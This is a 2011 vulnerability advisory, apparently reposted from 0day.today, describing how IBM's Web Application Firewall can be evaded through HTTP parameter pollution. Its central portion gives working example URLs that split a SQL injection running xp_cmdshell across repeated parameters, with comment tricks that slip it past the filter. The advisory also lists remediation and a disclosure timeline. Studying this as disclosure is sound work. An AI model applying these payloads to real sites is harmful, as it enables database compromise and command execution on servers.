IBM Web Application Firewall Bypass
Version: 1.0
Vendor: IBM
Product: IBM Web Application Firewall
These capabilities are included through SiteProtector 7.0 and later
software within IBM Security Network IPS GX products, IBM Security Server
Protection products, and IBM Security Multi-Function product lines during
2H of 2009.
Versions affected:
Tested against G400 IPS-G400-IB-1 (Intrusion Prevention
Update: 2011-03-11 00:34:23 - version: 31.030) and GX4004 IPS-GX4004-IB-2
(Intrusion Prevention Update: 2011-03-10 23:49:15 - version: 31.030).
Product description:
IBM Web Application Firewall capabilities inside IBM IPS products
complement IBM Security's portfolio of web application security offerings
to deliver end-to-end Web application security solutions.
Credit: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs
Finding: IBM Web Application Firewall Bypass
The IBM Web Application Firewall can be evaded, allowing an attacker to
exploit web vulnerabilities that the product intends to protect. The issue
occurs when an attacker submits repeated occurrences of the same parameter.
The example shown below uses the following environment:
A web environment using Microsoft IIS, ASP .NET technology, Microsoft
SQL Server 2000, being protected by the IBM Web Application Firewall.
As expected, the following request will be identified and blocked (depending
of configuration) by the IBM Web application firewall.
http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC
master..xp_cmdshell "ping 10.1.1.3" --
IIS with ASP.NET (and even pure ASP) technology will concatenate the contents
of a parameter if multiple entries are part of the request.
http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC
master..xp_cmdshell &iid= "ping 10.1.1.3" --
IIS with ASP.NET (and even pure ASP) technology will concatenate both
entries of iid parameter, however it will include an comma "," between
them, resulting in the following output being sent to the database.
'; EXEC master..xp_cmdshell , "ping 10.1.1.3" --
The request above will be identified and blocked (depending of
configuration) by IBM Web application firewall, because it appears that
"EXEC" and "xp_cmdshell" trigger an attack pattern.
However, it is possible to split all the spaces in multiple parameters. For
example:
http://sitename/find_ta_def.aspx?id=2571&iid='; &iid= EXEC
&iid= master..xp_cmdshell &iid= "ping 10.1.1.3" &iid= --
The above request will bypass the affected IBM Web application firewall,
resulting in the following output being sent to the database.
'; , EXEC , master..xp_cmdshell , "ping 10.1.1.3" , --
However, the above SQL code will not be properly executed because of the
comma inserted on the SQL query, to solve this situation we will use SQL
comments.
http://sitename/find_ta_def.aspx?id=2571&iid='; /*&iid=1*/ EXEC
/*&iid=1*/ master..xp_cmdshell /*&iid=1*/ "ping 10.1.1.3" /*&iid=1*/ --
The above request will bypass IBM Web application firewall, resulting in
the following output being sent to the database, which is a valid and
working SQL code.
'; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ "ping 10.1.1.3" /*,1*/ --
The above code will execute the ping command on the Microsoft Windows
backend, assuming the application was running with administrative
privileges.
This attack class is also referenced sometimes as HTTP Pollution Attack,
HTTP Parameter Pollution (HPP) and HTTP Parameter Concatenation.
The exploitability of this issue depends of the infrastructure (WebServer,
Development Framework Technology, etc) technology being used.
Remediation Steps:
IBM has released fixes to the above issue in the "Super Tuesday" patch
released in June. Refer to the references section of the advisory for
further information released by IBM.
Revision History:
04/07/11 - Vulnerability disclosed
06/16/11 - Patch released
06/21/11 - Advisory published
References:
1. http://www.iss.net/security_center/reference/vuln/HTTP_Parameter_Abuse.htm
2. http://xforce.iss.net/xforce/xfdb/67178
# 0day.today [2018-01-05] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation